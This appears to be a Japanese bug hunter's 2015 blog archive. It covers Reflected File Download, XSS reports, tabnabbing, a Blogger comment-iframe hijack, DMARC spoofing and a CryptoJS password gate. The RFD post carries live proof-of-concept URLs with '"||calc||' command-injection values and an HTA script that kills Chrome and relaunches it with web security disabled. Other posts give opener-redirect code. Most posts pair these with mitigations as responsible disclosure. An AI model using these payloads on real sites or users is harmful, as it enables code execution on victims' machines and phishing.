2015年12月21日月曜日

RFD 2015

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」21日目の記事です。

CSP 2015がかっこよ過ぎたのでパクりましたw

Reflected File Download(以後RFD)はBlack Hat Europe 2014で発表された比較的新しい脆弱性です。今年になりRFD Cheat Sheetなる記事も書かれました。実は僕も今年の後半はRFDばかり見ていました。

概要
RFDはその名の通り3つの要素がからなります。

1. Reflected
ユーザーの入力した値がレスポンスに反映される。

2. File
URLに任意の文字列を追加でき、尚且つ正常にロードされる。

3. Download
ダウンロードが可能であり、上記2つの要素がダウンロードしたファイルに反映される。


ユーザーが検索バーに文字を入れた際に、JSONを使い動的に候補を表示するサイトがあるとします。

リクエスト
https://www.example.com/search?q=user_input
レスポンス
{"q":"user_input","result":"Not Found"}

ここに以下の様なリクエストを送ります。

リクエスト
https://www.example.com/search/setup.bat?q="||calc||
レスポンス
{"q":"\"||calc||","result":"Not Found"}

サーバーがリクエストに対して正常にレスポンスを返す場合、RFDに脆弱になります。JSONのレスポンスにContent-DispositionヘッダーのAttachmentが指定されている場合、上記リクエストのリンクをクリックするとsetup.batファイルがダウンロードされます。もちろんsetup.batファイルにはレスポンスが入っている訳ですが、Windowsコマンド「||」は前のコマンドが失敗したら次を実行するという意味なので、以下のように解釈されます。

「{"q":"\"」失敗したら次を実行
「calc」失敗したら次を実行
","result":"Not Found"}」

1行目は正しいコマンドではない為失敗し、「calc」が実行され、電卓が起動します。バイナリは苦手だけど、1度でいいから脆弱性を使って電卓起動してみたい!という方には最高の脆弱性ですねwもちろん拡張子はbat以外にも変えられるので、拡張子の数だけ手法があります。

戦歴
以下のサイトで実際にRFDを見つけました。


サイト種類評価
GoogleJS (Download)Out of Scope
Yammer
(Microsoft)
JS (Download)Rewarded $500
ZendeskJS (Download&Self-RFD)Rewarded $50
Mail.RuJS (Download)Rewarded $150
LineImage (Download)Out of Scope
Ubiquiti NetworksImage (Download)N/A

Downloadの意味は、RFDリンクにダウンロード属性が必要という意味です。つまりChromeもしくはOperaでのみ動きます(Safariは試してないので分かりません)。またJSはJSONやJSONPも含めています。上記以外にも多々報告していますが、今日は控えます。

さて、報奨金を貰えなかったところは修正されていないので、実際の例を見ていきましょう。

Google
こちらでIDがそのままエラーメッセージに反映されているので、ダウンロード属性を付けてあげるとbatファイルがダウンロードされて、それを実行すると電卓が起動します。

PoC
https://clients6.google.com/rpc/plusi/setup.bat?method=plusi.x&id=%22||calc||

実はエラーの場合、普通はRFDができません。例えばこちらのように、HTTPステータスコードがエラーコードの場合、ダウンロード属性を付けてもファイルが正しく保存されません。

PoC
http://cybozushiki.cybozu.co.jp/mt/mt-data-api.cgi/v1/sites/1/entries.bat?status=Publish&offset=%22||calc||

Googleの場合、エラーの際もHTTPステータスコードが200(OK)だった為、RFDが可能でした。当たり前ですが、エラーの場合はエラーコードを返すようにしましょう。

Line
RFDはJSONに依存する問題ではありません。ユーザーの入力が反映されるファイルの拡張子が変更でき、尚且つダウンロードできればいいのです。どんなサイトにもユーザーアイコンがある為、画像に注目しました。

Lineもこちらのようにユーザー画像の拡張子が変更できました。また、Lineはアップロードされた画像のソースにあるコメントをそのまま反映させている為、画像のソースに任意のコードを埋め込むことができました。しかし脆弱性報奨金制度がスマホ用だったため、HTMLとしてダウンロードさせて、ログイン情報を入力させるようなフィッシングの類で報告しました。もちろんHTMLを開いた時点でJSは動くので、SDカード情報は盗めるんだと思います。Androidの場合Operaで動きます。

PoC
http://dl.profile.line.naver.jp/0m038b3eeb7251266324a516ce98d0e1a0af8c48ec8dc3.html

実際にLineに報告したリンクはこちら。パスワードは"Line"です。
RFDで報告したにも関わらず、拡張子を変えてもcontent-typeが正しく指定されている為スクリプトが実行されないので、古いブラウザやプラットフォームに起因する脆弱性となりました(WTF)。また危険なファイルを実行する場合は、ブラウザやOSから警告が出るから大丈夫とのことでした。content-typeの話は論外で、サイトの脆弱性をブラウザとOSの警告に委ねるのはおかしいのでは?との返信を出したものの放置プレイwいや~こんな所で愚痴ってすみませんw次行きます。

Ubiquiti Networks
さてLineの場合はHTMLでしたが、Windowsが標的で画像を使ったRFDがある場合はhtaが使えます。というのも、画像にコマンドを埋め込んでも、画像ソースの改行などでうまくいかないためです。

PoC
http://community.ubnt.com/t5/image/serverpage/image-id/65455i01F8F8FB138903DD/setup.hta
(htaファイルを実行するとChromeが強制終了され、脆弱なChromeが立ち上がります。アラートを確認したら、脆弱なChromeは閉じて下さい)

画像内に以下のスクリプトが埋め込まれています。
<script> 
var sh=new ActiveXObject("WScript.Shell")

sh.run('taskkill /f /im "chrome.exe"', 0, false)

setTimeout(function(){sh.run("chrome.exe --disable-web-security --disable-popup-blocking shhnjk.web.fc2.com/rfd.html")},1000)

</script>
1行目でShellオブジェクトをつくり、2行目でChromeを強制終了します。強制終了するのに少し時間が必要な為、一秒たってから3行目でSOPとPopup Blockerを無効にしたChromeを立ち上げ、攻撃サイトを開きます。上手く行けば、Lineのサイトでアラートが出ます(根に持つタイプ)。もちろんChromeからは何の警告もありません。

Ubiquiti Networksの見解としては「別に細工した画像ファイルをうちのサーバーに上げなくても、攻撃者のサーバーにある実行ファイルをリンクすればいいじゃん」とのことでした。もう愚痴りませんw


さて、折角なのでダウンロード属性なしのものも紹介します。こちらにアップロードされているhta.pngのダウンロードリンクをコピーしnameパラメータをhta.pngからhta.htaに変えてリンクにアクセスして見てください。以下の様な感じ。

https://chromium.googlecode.com/issues/attachment?aid=5279980000001&name=hta.hta&token=token&id=527998&mod_ts_token=token

この様に、Content-DispositionヘッダーがAttachmentになっている場合は自動でダウンロードされます。しかし、今回の場合はトークンが必要で、1人目しかリンクからダウンロードが出来ないため、あまり実用的ではありません。


画像を使ったRFDは、世界的に有名でセキュリティがしっかりしているサイトでは見つかりません。これはそのようなサイトが、そもそもユーザーからアップロードされたコンテンツを信頼されるドメインにホストしない為です。サイトと同じドメイン上にユーザーからアップロードされたコンテンツをホストすると、IEのbehaviorが使えるようになったりもするので、出来るだけSandboxドメインにホストするようにしましょう。


対策
RFDの対策として、ユーザーの入力をエスケープではなくエンコードすることや、拡張子の変更や追加をエラーにするなどの対策もありますが、ユーザーの入力が反映されるファイルには、Content-Dispositionヘッダーを追加しFilenameを無害なものに指定してください。こうすることで、どんな値が入ろうとも拡張子が変わらない為、RFDに脆弱にはなりません。

まとめ
今回PoCは書かなかったものの、RFDを使えば、攻撃者はウィルスやランサムウェアをPCにインストールすることも出来ます。また攻撃者はユーザーが信頼するサイトの中で1つでも脆弱なものを見つければ、ユーザーのPCを乗っ取れるため、とても理に適った脆弱性です。しかし、そもそもリンクをクリックしてダウンロードしたファイルを開くか?とRFDを脆弱性と認めないところもあります。これに関してはバグハンターもCSIRTもある程度ITリテラシーがある為わかりません。実際にこの脆弱性が悪用される日が来れば、答えが出るのかもしれませんね。

ではでは。

2015年12月17日木曜日

Bloggerの脆弱性か分からなかった話

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」17日目の記事です。

本ブログでも使わせて頂いているBloggerですが、Bloggerやその他殆どのブログではスクリプトが許可されている為、スクリプトを使って何をしようとも運営側はスコープ外として脆弱性とは認めてくれません。その為スクリプトを使って運営側が嫌がることをしてやろうと考えましたw

色々見ているとBloggerのコメントやいいねがiframeによりロードされていることがわかりました。しかもURLは以下のように単純でした。

コメント
https://www.blogger.com/comment-iframe.g?blogID=Any_Blog_ID&postID=Any_Post_ID
いいね
https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=Any_Blog_URL

その為スクリプトを使えば、いいねボタンやコメント欄を他のブログのものに変更することができます。

PoC
http://shhnjktest.blogspot.com/2015/11/test.html

以下がスクリプト。
<script>window.onload=function(){ 
frames["comment-editor"].location.replace("https://www.blogger.com/comment-iframe.g?blogID=3133629339100716711&postID=4516647146558699181"); 
document.getElementsByTagName("iframe")[1].src="https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=http%3A%2F%2Fshhnjk.blogspot.com%2F2015%2F10%2FHow-to-use-XSS.html" 
}</script>
いいねボタンとコメント欄がリロードしたのが分かるかと思います。上記の投稿にコメントやいいねをすると、今更聞けないXSSの使い方に反映されます。もちろんユーザーにコメントして貰わないと攻撃が成功しませんが、XSS Challengeを開催したらどうでしょう?

例(これは本物のXSS Challengeです)
https://www.davidsopas.com/win-50-amazon-gift-card-with-a-xss-challenge/

50$と書くだけで15件コメントが来てますwということでGoogleに報告したところ、どう修正すればいいのかわからないので、考え中とのこと(修正しないかも)。もちろん公開の許可は貰いました。

対策

確かにブログでスクリプトを使えることは良いことなのかもしれませんが、ブログを読みたいユーザーがいいねボタンやコメントなど、ブログ記事以外のものも信頼できないのは困ります。なので、出来ればSandboxドメインを作り、iframeでブログ記事を表示するようにすればいいんじゃないでしょうか。これにより、親フレームのコンテンツは変更出来なくなります。更に親フレームのリダイレクトを防ぎたい場合は、iframeにsandbox属性を付けることで、スクリプトはいいけど親フレームはリダイレクトさせないなど詳細に権限を与えられます。唯一問題なのはCookie Bombです。これはSandboxドメインでスクリプトの実行が可能な為、Sandboxドメイン全部が見れなくなってしまいます。この問題はサイトというよりCookieそのものの問題なのでどうしようもなさそうです。

ということで、ブログにコメントやいいねをする際はくれぐれも気をつけましょうw

ではでは。

2015年12月8日火曜日

izumino.jpのXSS

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」8日目の記事です。

先日以下のツイートが回ってきました。


感想が知りたいらしいので、とりあえず見てみる。


検索を使ってみる。


ダブルクォートは正しく処理されていたものの、シングルクォートの処理を誤った為、謎のアトリビュートが追加されてる。これを踏まえて、もう一回検索を使ってみる。


感想を送ったら、直ぐに修正されました。すばらしい!

ではでは。

2015年12月5日土曜日

Plus codesのXSS

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」5日目の記事です。

明日に繋ぐ為に書きます。

8月にGoogleが地球上のあらゆる場所を数文字で示せるサイトを公開みたいな記事を読んでみてみた。

http://plus.codes/


確かにロケーションを教えてくれますね~!ってことでGoogleに報告。しかしGoogleから「これはうちのサイトじゃない。最低でも誰のドメインか確かめてから報告してくれ」と言われる。ということで誰のものか探す。open location codeのものだと判明。メーリングリストにバグを報告。しかしよく見るとopen location codeはGoogleによってメンテされていると書かれている。Googleに確認してみる。Googleから「うちのだったwバグを登録したからちょっと待ってて」と言われる。いや、既に直されてますよと報告。Googleから「パネルが金払う価値ないと仰られた」と言われる。とりあえず散々でしたwではでは。

2015年12月3日木曜日

CyVDB-998

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」3日目の記事です。

UAEでは殉教者の日ということで今日もお休みで御座います。中東諸国は金曜日と土曜日が休日なので、連休続きでうはうは状態ですw

さて、今日はCyVDB-998について書きます。

Cybozu liveにはIDEA BOXなるものがあり、Cybozuさんに要望を伝えることができるとてもいい機能です。
要望登録にはカテゴリを選択する必要があるのでとりあえずそこから見ることにしました。


バリューが並んでいるので、とりあえず適当に100に変えて要望を登録してみる。

何故か要望一覧が見れなくなる。とりあえずCybozuさんに報告。


良い事したのか悪い事したのか分からないメールが皆様に届く。

ということで、数字を変えるだけでもサイトが落ちる可能性があるので、脆弱性を探す際は、くれぐれも気をつけましょう(僕が言うのもなんですが)。




2015年12月2日水曜日

XSSes

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」2日目の記事です。

どうも。趣味でバグハンティングをしているJunです。普段は主に営業してます(笑)ちなみに12月2日はUAEの建国記念日なので、のんびり休日を過ごしています。

今日は修正されたXSSをいくつか紹介します。

朝日新聞
朝日新聞では、ユーザーの設定を変更する際にパスワード確認の画面があるのですが、ここにまさかのXSS。しかもパスワードが正しい時のみ発火という機能付きでした。

Pastebin.com
ハッカーが盗んだ情報を公開する時に良く使うサイトですね。ペーストのダウンロードリンクに直接アクセスするとリファラをチェックして、ダウンロードを拒否するように出来ているのですが、XSSへの配慮が足りなかったみたい。
Dropbox
アルバムを消去する際に、アルバム名が正しくエスケープされていなかった。面白かったのは、1つ目のタグは正しくエスケープされるものの、2つ目以降はエスケープされていなかった。ただしCSPがあったのでIEでしかアラート出来ず。Data URIが使えたので、Firefoxでもいけるのではと思った頃には修正されてました(笑)
Microsoft
サポートの検索ページにXSSがありました。現在でも<img src=x>と打ち込むと、画像が表示されますが、スクリプトはAngularJSによって制限されています。バイパスに挑戦したい方はお試し下さい。
ではでは。

2015年9月30日水曜日

色んなリダイレクト。

最近リダイレクトについて色々試していたので、軽くまとめてみたいと思います。
そもそもなぜリダイレクトに注目したのかというと、リダイレクトはSOPの制約を受けないからです。詳しくはこちらをご覧下さい。しかしリダイレクトに一切制約がないかというと、そうでもありません。制約については、Chromeの以下のエラーがうまく説明してくれてます。

Unsafe JavaScript attempt to initiate navigation for frame with URL 'http://example.com' from frame with URL 'http://evil.com'. The frame attempting navigation is neither same-origin with the target, nor is it the target's parent or opener.

つまり、リダイレクトを指示したはフレーム(もしくはウィンドウ)は、リダイレクトされるフレーム(もしくはウィンドウ)と以下の様な関係でなくてはなりません。
  1. 同一オリジンである。
  2. 親フレームである。
  3. Openerウィンドウである。
同一オリジンは当たり前なので、2番と3番を見ていきます。
2番は、親フレームが子フレームをリダイレクトすることができるという意味です。スクリプトでいうと以下のような感じです。
document.frames[0].location.replace(サイト名);

3番は、新しいウィンドウを以下のようなスクリプトで開いた場合、新しいウィンドウをリダイレクトできるという意味です。
var tab = window.open(サイト名);
setTimeout(function() { tab.location.replace(サイト名); }, 3000);

このようにリダイレクトはオリジンを気にせず、色んなフレームをリダイレクトできます。


リダイレクト悪用編Only for educational purposes


ここからはリダイレクトの悪用について考えていきます。
実は、2番と3番は逆の使い方もできます。2番の逆は、子フレームが自らのTopフレームや親フレームをリダイレクトすることができるという意味です。

PoC

この最も簡単な悪用方法が広告です。広告はiframeで表示されることが多く、スクリプトタグを禁止していたとしても、その他のon~的なイベントを使ってスクリプトを混入できる場合があります。スクリプトが混入できる場合は広告が表示されるページを上記のようなスクリプトで任意のサイトにリダイレクトすることができます。

例えばCybozu.netの広告にこの脆弱性があった場合、Cybozu.netにアクセスする全てのユーザーが悪意のあるサイトにリダイレクトされます。それだけではなく、Cybozu.netをiframe内に表示してるサイトのユーザーも悪意のあるサイトにリダイレクトされます。


対策
信頼できないサイトをiframe内に表示する場合はsandbox属性をつけましょう。広告の場合はユーザーが広告をクリックしたらそのサイトに飛ばすという作業が必要な為、sandboxのallow-popupsを使いましょう。しかし、allow-popupsは新しく開いたタブもsandbox化されてしまうという難点があります。これがどうしても嫌な場合はallow-popups-to-escape-sandboxのリリースを待ちましょう。allow-top-navigationは必要ない限り入れないようにしましょう。



さて次は3番の逆を見ていきます。これは新しいウィンドウで開けられたサイトが、window.openerを使って元のウィンドウをリダイレクトできるという意味です。openerの特徴は、サイトがどれだけリダイレクトしてもopenerの関係が継続されるということです。

PoC

上記のサイトに行きリンクをクリックすると新しいタブが開きます。リンクがあったサイトは一瞬Yahooにリダイレクトしますが、すぐにGoogleにリダイレクトされます。スクリプトを見てみましょう。

リンクがあるサイト(サイトA)
function go(){
window.open("http://shhnjk.hatenablog.com/entry/2015/08/04/185205"); window.location.replace("http://www.yahoo.co.jp/");
}

新しいタブで開いたサイト(サイトB)
setTimeout(function(){ opener.location.replace("https://www.google.com"); }, 1000);

サイトAのリンクがクリックされるとgo()が発動します。まずwindow.openでサイトBを開きます。この時点でサイトAがサイトBの”opener”になります。その後サイトAは自らをYahooにリダイレクトします。しかしopenerの関係はoriginが変わっても継続する為、サイトBがopener.location.replaceを使ってサイトAをYahooからGoogleにリダイレクトすることが出来ます。

こんな感じでopenerはかなり使えます。更にopenerにはもう一つ特徴があります。それはtarget="_blank"が指定されているタグを使うことにより、openerの関係を作れるということです。

PoC

Facebookのリンクをクリックすると先ほどと同じサイトBが新しいタブで開かれます。Facebookのリンクにはtarget="_blank"が指定されている為、openerの関係ができます。後は先ほどと同じサイトBのスクリプトにより、FacebookがGoogleにリダイレクトされます。

この様にタブやウィンドウを使ってサイトをリダイレクトするテクニックをTabnabbingといいます。
気付いた方もいると思いますが、今回紹介したTabnabbingはIEでは動きません。これはIEがopener.location.replace()に対してopenerのlocationを変えるのではなく新しいタブで開くという挙動をする為です。なので、クロスオリジンからのポップアップとみなされ、ポップアップブロッカーによって拒否されます。


対策
リンクにtarget="_blank"を指定する場合はrel="noreferrer"も指定しましょう。こうすることで、openerの関係が出来なくなります。しかし、全てのtarget="_blank"がrel="noreferrer"によって解決する訳ではありません。こちらに詳しい例が記載されています。rel="noreferrer"が意味をなさない、もしくはwindow.openなどでopenerの関係を作りたくない場合はwindow.opener.__proto__ = null;とすることでwindow.openerをnullにできます。


ユーザーが出来る対策
target="_blank"が指定されているのにrel="noreferrer"が指定されていないリンクはFacebookなどの有名なサイトにもあります。ですが、自分がクリックする全てのリンクをチェックするわけにもいきません。なのでリンクをクリックする際は右クリックをして”新しいタブで開く”をクリックすることをお薦めします。これによりtarget="_blank"になっていてもopenerの関係ができることはありません。しかし、対策はwindow.openなどのスクリプトによってopenerの関係ができるものには、効果がありませんので注意して下さい。



公開に至った経緯
Facebookのバグについては、1ヶ月以上前にFacebookに報告しましたが、既知の問題と言われました。そもそもFacebookはopen redirectを脆弱性と認めていない為、このバグは脆弱性と認められないのだと思います。GoogleもTabnabbingを脆弱性と認めていません(PoC)。更にTabnabbingは少なくとも5年前から知られているテクニックです。その為、今回Tabnabbingの実例を知ってもらい、対策を付け加えることで、リンクをクリックすることで何が起こりうるのかを知ってもらうのが最善策ではないかと考えました。

また、リダイレクトを指示するサイトとして、はてなブログを使わせてもらいました。これはFacebookで皆さんが良くクリックするのが、はてなブログのリンクなのではと思ったのと、はてなブログなど、沢山のサイトではスクリプトが使えるということを知って欲しかったからです。"スクリプトが使える"もしくは"XSSがある"という怖さについては、来月更に掘り下げて行こうと思います。


ではでは。

2015年8月7日金曜日

メール送信元偽装の対策と現状。

近頃、メールからのウィルス感染や個人情報の流出がとても増えていますね。
今後、流出した個人情報や流出元組織を装ったなりすましメールが増えてくると思います。
そこで、現在殆どの日本組織または企業が出来ていない、メール送信元偽装対策について
書こうと思います。

※本投稿は、ドメイン管理者の方ができる対策であり、受信者ができる対策ではありません。

事の発端
ある日、SPFのHard failを設定していても、受信者がメールを受け取ったことがあるメールアドレスに、送信元を偽装したメールは、GmailのInbox(受信トレイ)に入ることがわかり、バグとしてGoogleに報告しました。例えばExample@test.comからメールを受け取ったことがある人に、Example@test.comと送信元を偽装したメールを送ると、そのメールは受信者のInboxに入るということです。

その報告の回答が以下です。
とりあえずバグではなくて仕様らしく、もしちゃんとした設定をしたいのならGoogle Apps for Workに連絡して自分の設定を確認してとのことです。あやふやな回答なので、Google Apps for Workに連絡してみました。

つまりSPF Hard failが指定されていて、Failになった場合でも、そのメールの取り扱いはGmailの設定に委ねられている為、僕が報告したケースだとInboxに入るらしいです。ではどうすればいいのか。

DMARCについて
DMARCはSPFやDKIMという、既にあるメール認証を利用して、メール認証がFailした際、受信側がどのような対応を取るべきかを、ドメイン管理者側が指定できる技術です。SPF、DKIM、DMARCについてよくまとめられている記事は以下です。

http://www.cuenote.jp/library/marketing/dmarc.html

DMARCの主なメリットは以下です。

  1. ドメイン管理者が認証失敗したメールについて、何もしない(None)、隔離する(Quarantine)、拒否する(Reject)を指定できる。
  2. メールアドレスを設定すると、認証結果のレポートが送られてくるため、自身のドメインに偽装したメールがどのくらい送られているのか把握できる。

実際に、僕が報告したやり方で、DMARCがQuarantineかRejectに設定されている企業のメールアドレスになりすまそうとしても、出来ませんでした。そして世界的に有名な殆どのIT企業がDMARCを設定していることも知りました。しかし、最初にも書きましたが日本の組織や企業でDMARCを設定している所は殆どありません。しかもIPAさんすら設定していなかったので、5月に脆弱性として報告しました。返事は以下です。


要は、NISCの統一基準のなりすまし防止策にSPFが記述されているが、DMARCは記述されてないので、脆弱性ではありませんということでした。ちなみに僕が報告したのは、「SPFが設定されていても、IPAのメールアドレスに送信元を偽装したメールがInboxに届くので、DMARCを設定して下さい」というものです。以下が実際にIPAさんに送ったPoC。

7月17日にIPAになりすましたメールの注意喚起がありましたが、あれがフリーメールを使ってて良かったと思いました。(苦笑)


さて少し戻りますが、僕の報告したケースでは、正しいメールを1度受信していないと、送信元偽装メールはInboxに入ってきません。では例えばIPAさんとメールのやりとりをしたことがない人は安全なのかというと、そうでもありません。IPAさんを含め、沢山のサイトには問い合わせフォームがあり、そこに任意のメールアドレスを入れれば、自動で問い合わせ受諾メールが任意のメールアドレスに送られます。つまり誰でも危ないのです。年金機構さんが問い合わせフォームをクローズしたのはとてもいい判断だと思います。

また、HotmailやOffice 365は安全かについてですが、Hotmailは今回のケースでInboxに受信することはありませんでした。Office 365はアカウントを持っていないので検証していません。しかし、今回検証に使ったのは有名な送信元偽装サービスであり、そもそもMicrosoftがそのIPをスパムフィルターでブロックしている可能性もあります。なので、安全という確証はありません。

結論
以下の組織または企業には、DMARCを設定することを強く推奨します。

  1. 政府関係の組織または企業
  2. 銀行さん(本当にやってなくて困る)
  3. 個人情報が流出した組織または企業(ユーザーや顧客を守ってください)
  4. 全世界で統一ドメインを使っている組織または企業(実際に社内メールのなりすましがあります)
実際に設定したい方はこちらを参考にして下さい。なお、DMARCはスパムを最小限に抑える技術であって、完璧に防げる技術ではないことを覚えておきましょう。

ではでは。

2015年7月25日土曜日

DuckDuckGoとXSS5ラウンドマッチ。

DuckDuckGoはユーザーのプライバシーを守ると謳う、1日に1000万回検索されることもある検索エンジンです。

あるサイトでサイト内検索をした所、DuckDuckGoに飛ばされました。DuckDuckGoではsite:と指定することで、指定されたサイト内の検索を行うことができます。検索XSS好きの僕としてはやっぱり以下のようなことを考えてしまいます。


でもまさか検索エンジンだからありえないでしょ~~~。

Round 1


守るのはプライバシーだけか?笑
もちろんユーザーのクリックなどが必要ないので、全然違うページに見せることも可能。

と言うことで、とりあえずDuckDuckGoに報告。数日後に直したよ~と言われたので見に行く。


お!いいんじゃない?タグを入れてみよう。


あれ?タグが消された!別にエスケープして表示すればいいのに!じゃあ不完全なタグはどうだろう?


あ~~。これはマズイ。不完全なタグでいいんなら。。。
Round 2


再度DuckDuckGoに報告。しかしRound 3まで行きそうな予感。なぜかって?インジェクトできるのは1箇所だけじゃない。


今度は約10日の時間をかけて、渾身のFixがきた。チェックしてみる。


直された。。。ここで終わりたくないので、死に物狂いでバグを探す。。。見つからない!!頭が狂ったのか、キーボードの記号を左から入れて行くw「~」駄目だ。「!」


あった~~!!!これはBangという機能で、「!a Book」と検索するとAmazonに飛ばされ「Book」の検索結果が表示される。ということで、
Round 3


DuckDuckGoに報告。2週間後に直したとの連絡がくる。よしチェックだ!


Round 2と同じ過ちを犯している。本当に直す気あんの?と思いながらの
Round 4


DuckDuckGoに報告&ちゃんと直してとお願い。3日後にFixされる。一応もう少しいろいろ見てみる。


実はsite:で検索した際のiconはsite:で指定されたサイト名から取っていたのでこうなる。サイト名なので、スペースが入らないように気をつけながら
Round 5


これを報告し、5ラウンドマッチ終了。おみあげも貰いました。


今後はプライバシーと共にセキュリティーにも気をかけてくれればと思いました。

何はともあれ、Thanks DuckDuckGo!

2015年6月6日土曜日

はてなブログで、なぞなぞ認証を使わずに自作認証を作ってみた。

前回、とある記事を諸事情により封印しましたが、どのように封印したのかを書きます。

この記事は、はてなブログのなぞなぞ認証なんか小賢しい!おれはScripterなんじゃぁ~~っていう人の為の記事です。

使ったのはcrypto-jsです。

https://code.google.com/p/crypto-js/

まずAESを使ってみ見ましょう!
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/aes.js"></script>
<script>
    var encrypted = CryptoJS.AES.encrypt("Message", "Secret Passphrase");

    var decrypted = CryptoJS.AES.decrypt(encrypted, "Secret Passphrase");
</script>

この様な例がサイトに載ってるので試してみると以下のようになります。

encrypted : U2FsdGVkX1/d3Ckqr3i8pQfWWRvGK8Bmw1klUiIB77Y=

decrypted : 4d657373616765

あれ?メッセージが元に戻ってない!と思うかも知れませんが、これはHEXなので以下のコードを足します。

var message = decrypted.toString(CryptoJS.enc.Utf8);

すると暗号化したメッセージが解読できます。

封印した記事は、ユーザーにパスワードを入れてもらい、解読するという単純なものになっていましたが、今回はもう少し面白く作りましょう!

SHA-3を使ってみます。
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/sha3.js"></script>
<script>
    var hash = CryptoJS.SHA3("avaya");
</script>

すると以下のようなHashが出てきます。

a2f20fe2d815e7ea33ec08a6be6171d8f3e8ba3b85ad6e89b4a1c93ae2892dd60b2a625bb4cec99d8aec68299aadb49d7b07e4837ca4a65554aaa730a0fe80f6

これをパスワード認証に使います。

更に何回もパスワードを入れるのが面倒なので、認証に成功したら、パスワードをLocalStorageに保存します。

出来たコードは以下です。

<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/aes.js"></script>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/sha3.js"></script>
<div id=test></div>
<script>
var key = localStorage.getItem("key");
if(key==null){
var key = prompt("Decrypt");
}

var hash = CryptoJS.SHA3(key);

if( hash == "a2f20fe2d815e7ea33ec08a6be6171d8f3e8ba3b85ad6e89b4a1c93ae2892dd60b2a625bb4cec99d8aec68299aadb49d7b07e4837ca4a65554aaa730a0fe80f6"){

var encrypted = "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";

var decrypted = CryptoJS.AES.decrypt(encrypted, key);
document.getElementById("test").innerHTML = decrypted.toString(CryptoJS.enc.Utf8);
localStorage.setItem("key", key);
}else{
document.getElementById("test").innerHTML = "<h1>パスワードが違います。</h1>"
}
</script>

馬鹿でかい文字列が投稿のHTMLをそのまま暗号化したものです。アホかw

以下が実際の投稿です。

